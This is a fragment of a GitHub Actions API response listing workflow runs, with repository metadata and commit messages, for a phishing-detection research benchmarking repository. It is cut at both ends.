hub.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287526879,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTI2ODc5","head_branch":"master","head_sha":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","run_number":1071,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285649518,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjQ5NTE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287526879","pull_requests":[],"created_at":"2020-10-04T06:51:57Z","updated_at":"2020-10-04T07:05:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285649518","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287526879/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"aa4b08f7ce14b0b0399418beef43b81c9cb6e981","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Standardized API for email and URL feature extraction (#252)\n\n* Fixed documentation\r\n\r\n* Renamed extract_features_list_email to extract_features_list\r\n\r\n* extract_features_from_list_urls to extract_features_list\r\n\r\n* Aligned extract_email_train_features and extract_url_train_features\r\n\r\n* Converted extract_email_test_features\r\n\r\n* Unified extract_train_features\r\n\r\n* Unified extract_test_features\r\n\r\n* Cleanup code\r\n\r\n* Combine output folder\r\n\r\n* Cleanup\r\n\r\n* Unified extract_features\r\n\r\n* Exposed extract_features_from_single\r\n\r\n* Documentation","timestamp":"2020-10-04T06:51:54Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515889,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1ODg5","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":281,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285627062,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI3MDYy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515889","pull_requests":[],"created_at":"2020-10-04T06:36:24Z","updated_at":"2020-10-04T06:39:08Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285627062","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515722,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1NzIy","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":1070,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285626838,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI2ODM4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515722","pull_requests":[],"created_at":"2020-10-04T06:36:21Z","updated_at":"2020-10-04T06:50:44Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285626838","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_ur